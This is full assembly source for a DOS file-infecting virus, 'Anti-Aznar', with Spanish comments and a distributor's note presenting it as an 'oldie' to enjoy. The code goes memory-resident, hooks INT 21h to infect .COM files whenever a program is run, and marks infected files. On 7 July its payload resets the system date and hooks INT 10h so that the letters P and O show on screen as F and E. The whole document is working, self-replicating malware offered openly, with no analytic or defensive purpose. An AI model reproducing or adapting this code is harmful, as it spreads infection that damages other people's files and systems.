;;;; VIRUS ANTI-AZNAR por JoDT VM ;; Compilar con 3 pasadas de TASM!!! ;;;; ;;;;;;;;;;;;; DON'T WORRY ABOUT IT. :-} ; [* Billy's note : I know this virus is an 'oldie', but the source is the ; ORIGINAL, received from his author... This virus has still some preety ; thingies, and i hope you will enjoy it. *] .MODEL TINY LOCALS .CODE ORG 100h LongVirusP EQU ((FinVirus-InicioVirus)/16)+1 LongVirusB EQU (FinVirus-InicioVirus)+1 InicioVirus LABEL WORD ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;; NOMBRE: AntiAznar. ;;;;;;;;;; FUNCIàN: Es el virus en s¡. ;;;;;;;;;; ENTRADA: -- ;;;;;;;;;; SALIDA: -- ;;;;;;;;;; MODIFICA: Nada ;;;;;;;;;; OBSERVACIONES: -- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; AntiAznar PROC JMP @@VamosAlla DB 'JoDT' @@VamosAlla: PUSH AX PUSH BX PUSH CX PUSH DX PUSH DS PUSH ES PUSH SI PUSH DI ; Guardo los registros afectados. PUSH CS POP DS MOV AX, 0CACAh ; Llamada para saber si estoy en INT 21h ; memoria. CMP BX, 0FEAh ; Devuelve 0FEAh si en memoria. JE @@SkipInst ; Si no en memoria. PUSH ES ; Empieza la instalaci¢n en memoria. PUSH DS MOV AX, ES DEC AX MOV ES, AX ; En ES el MCB. MOV AX, ES:[0003] ; Cogemos el tama¤o libre de memoria. SUB AX, (LongVirusP+16)*2 ; Restamos el espacio para nosotros. MOV ES:[0003], AX SUB WORD PTR ES:[0012h], (LongVirusP+16)*2 MOV ES, ES:[0012h] ; Segmento "reservado". MOV SI, 100h MOV DI, 100h ; Offset inicial y final = 100h. MOV CX, LongVirusB CLD REP MOVSB ; Nos copiamos a la memoria. ; En ES pasamos a tener el segmento en memoria. XOR AX, AX MOV DS, AX MOV AX, DS:[4*21h] ; En la TVI cogemos el PTR a INT 21h. MOV WORD PTR ES:[PtrINT21h], AX MOV AX, DS:[4*21h+2] MOV WORD PTR ES:[PtrINT21h+2], AX MOV AX, Offset NewINT21h CLI MOV DS:[4*21h], AX MOV DS:[4*21h+2], ES ; Ponemos la nueva INT 21h STI ; Ya hemos conseguido redireccionar las INT 21h MOV CS:[SegmentoRes], ES POP DS POP ES INC CS:[Contador1] ; Incrementar los contadores de JNZ @@NoSePasa ; infecciones. INC CS:[Contador2] JMP @@NoSePasa @@SkipInst: MOV CS:[SegmentoRes], AX ; Guardo el segmento reservado. PUSH ES MOV ES, AX MOV BX, CS:[PTRLastCode] MOV ES:[PTRLastCode], BX POP ES @@NoSePasa: MOV AH, 2Ah INT 21h CMP DX, 0707h ; Si estamos a 7 de Julio... JNE @@FinInfeccion MOV CX, 2000 ; ...al ATAQUE. XOR DX, DX MOV AH, 2Bh INT 21h ; Ponemos otra fecha. MOV AH, 9 MOV DX, Offset Quien INT 21h PUSH ES PUSH DS XOR AX, AX MOV DS, AX MOV ES, CS:[SegmentoRes] MOV AX, DS:[4*10h] ; En la TVI cogemos el PTR a INT 10h. MOV WORD PTR ES:[PtrINT10h], AX MOV AX, DS:[4*10h+2] MOV WORD PTR ES:[PtrINT10h+2], AX MOV AX, Offset NewINT10h CLI MOV DS:[10h*4], AX MOV DS:[(10h*4)+2], ES STI ; Ya hemos metido el efesto pervertido. :-) POP DS POP ES @@FinInfeccion: MOV WORD PTR CS:[Salto], Offset @@Aqui MOV ES, CS:[SegmentoRes] MOV WORD PTR CS:[Salto+2], ES MOV ES:[SegmentoRes], CS JMP DWORD PTR CS:[Salto] ; Esto salta... @@Aqui: ; ...hasta aqu¡ pero en memoria MOV DI, 100h ; reservada. MOV SI, CS:[PTRLastCode] MOV AX, CS:[SegmentoRes] MOV DS, AX MOV ES, AX MOV CX, LongVirusB CLD ; Copiamos el anterior programa a su REP MOVSB ; posici¢n original. POP DI POP SI POP ES POP DS POP DX POP CX POP BX ; Recuperamos los registros. MOV AX, CS:[SegmentoRes] ; Ahora con el segmento del MOV WORD PTR CS:[Salto], 100h ; programa. MOV WORD PTR CS:[Salto+2], AX POP AX JMP DWORD PTR CS:[Salto] ; Saltamos al programa. AntiAznar ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;; NOMBRE: NewINT10h. ;;;;;;;;;; FUNCIàN: Se encarga de que al pulsar la tecla P aparezca F ;;;;;;;;;; y al pulsar O aparezca E. ;;;;;;;;;; ENTRADA: -- ;;;;;;;;;; SALIDA: -- ;;;;;;;;;; MODIFICA: Nada ;;;;;;;;;; OBSERVACIONES: Es residente capturando la INT 10h. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; NewINT10h PROC CMP AH, 0Ah ; Primero se comprueba si es una de JZ @@SiEs ; las funciones de escritura. CMP AH, 0Eh JZ @@SiEs CMP AH, 09h JZ @@SiEs @@Salto:JMP DWORD PTR CS:[PtrINT10h] @@SiEs: CMP AL, 'P' ; Segundo se comprueba si es uno JZ @@Cambia ; de los caracteres cambiables. CMP AL, 'O' JZ @@Cambia CMP AL, 'p' JZ @@Cambia CMP AL, 'o' JNZ @@Salto @@Cambia: SUB AL, 10 ; Y por £ltimo se cambian los carac- JMP @@Salto ; teres y/o se salta a la anterior NewINT10h ENDP ; INT 10h ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;; NOMBRE: NewINT21h. ;;;;;;;;;; FUNCIàN: Se encarga de infectar nuevos archivos (.COM s¢lo) ;;;;;;;;;; y de informar de su presencia en memoria. ;;;;;;;;;; ENTRADA: -- ;;;;;;;;;; SALIDA: -- ;;;;;;;;;; MODIFICA: Nada ;;;;;;;;;; OBSERVACIONES: Es residente capturando la INT 21h. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; NewINT21h PROC CMP AX, 0CACAh ; ¨Quieren saber si el virus est  JNE @@NoInfo ; instalado en memoria? MOV BX, 0FEAh ; Informa que si est  en memoria. MOV AX, CS ; En AX devuelvo el segmento en el IRET ; que estoy. @@NoInfo: CMP AH, 4Bh ; ¨Se llama a la funci¢n EXEC? JE @@Infecta JMP DWORD PTR CS:[PtrINT21h] ; Salta a la anterior INT 21h. @@Infecta: PUSH AX PUSH BX PUSH CX PUSH ES PUSH SI PUSH DI ; Guardo los registros afectados. PUSH DX PUSH DS MOV AX, 4300h INT 21h ; Coger atributos. MOV CS:[Atributos], CX XOR CX, CX MOV AX, 4301h INT 21h ; Ponemos atributos a 0. MOV AX, 3D02h INT 21h ; Abrimos fichero para I/O MOV CS:[Handle], AX MOV AX, 4200h XOR CX, CX XOR DX, DX MOV BX, CS:[Handle] INT 21h ; Al principio... PUSH CS POP DS ; DS = CS MOV BX, CS:[Handle] MOV AH, 3Fh MOV CX, 6 MOV DX, Offset Buffer INT 21h ; Leemos los 2 primeros bytes. CMP WORD PTR CS:[Buffer],'ZM' JNE @@Sigue1 JMP @@NoInfectar @@Sigue1:CMP WORD PTR CS:[Buffer+2], 'oJ' JNE @@Sigue2 JMP @@NoInfectar @@Sigue2:CMP WORD PTR CS:[Buffer+4], 'TD' JE @@NoInfectar ; Desistimos si ya infectado. MOV BX, CS:[Handle] XOR CX, CX XOR DX, DX MOV AX, 4202h INT 21h ; Al final para saber la longitud. CMP AX, LongVirusB+10 JB @@NoInfectar CMP AX, 65535-LongVirusB-10 JA @@NoInfectar ; Si no es adecuada la longitud... ADD AX, 100h ; Por el PSP se ha de a¤adir esto. MOV CS:[PTRLastCode], AX ; Apuntador al c¢digo. MOV AX, 4200h XOR CX, CX XOR DX, DX MOV BX, CS:[Handle] INT 21h ; Al principio... PUSH CS POP DS MOV BX, CS:[Handle] MOV CX, LongVirusB MOV DX, LongVirusB+100h MOV AH, 3Fh ; Leemos usando como buffer el INT 21h ; segmento de video. MOV AX, 4200h XOR CX, CX XOR DX, DX MOV BX, CS:[Handle] INT 21h ; Al principio... MOV CX, LongVirusB MOV DX, 100h PUSH CS POP DS MOV AH, 40h MOV BX, CS:[Handle] INT 21h ; Escribimos el virus. MOV AX, 4202h XOR CX, CX XOR DX, DX MOV BX, CS:[Handle] INT 21h ; Al final... MOV CX, LongVirusB PUSH CS POP DS MOV DX, LongVirusB+100h MOV AH, 40h MOV BX, CS:[Handle] INT 21h ; Volvemos a copiar el codigo. @@NoInfectar: MOV BX, CS:[Handle] MOV AH, 3Eh INT 21h POP DS POP DX PUSH DX PUSH DS MOV CX, CS:[Atributos] MOV AX, 4301h INT 21h ; Restauramos los atributos. POP DS POP DX POP DI POP SI POP ES POP CX POP BX POP AX ; Recuperamos los registros. JMP DWORD PTR CS:[PtrINT21h] NewINT21h ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;; Area de datos enmarcada dentro del CS. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Relleno DB 'COMEON' ; Relleno para que mida exactax. 666 bytes PtrINT21h DD 0 ; Puntero a la INT 21h PtrINT10h DD 0 ; Puntero a la INT 10h SegmentoRes DW 0 ; Segmento reservado. PTRLastCode DW Offset Basura ; Puntero al c¢digo inicial. Salto DD 0 ; DWord utilizada para hacer saltos. Atributos DW 0 ; Atributos de fichero. Handle DW 0 ; Handle de fichero. Buffer DB 6 DUP (0) ; Buffer de lectura. Contador2 DW 0 Contador1 DW 0 ; Contadores de ejecuci¢n. Quien DB 'VIRUS ANTI-AZNAR por JoDT VM$' FinVirus LABEL WORD Basura LABEL WORD ; Fragmento que simula un programa MOV AX, 4C00h ; que ha sido infectado. INT 21h DB 1000 DUP (0) END AntiAznar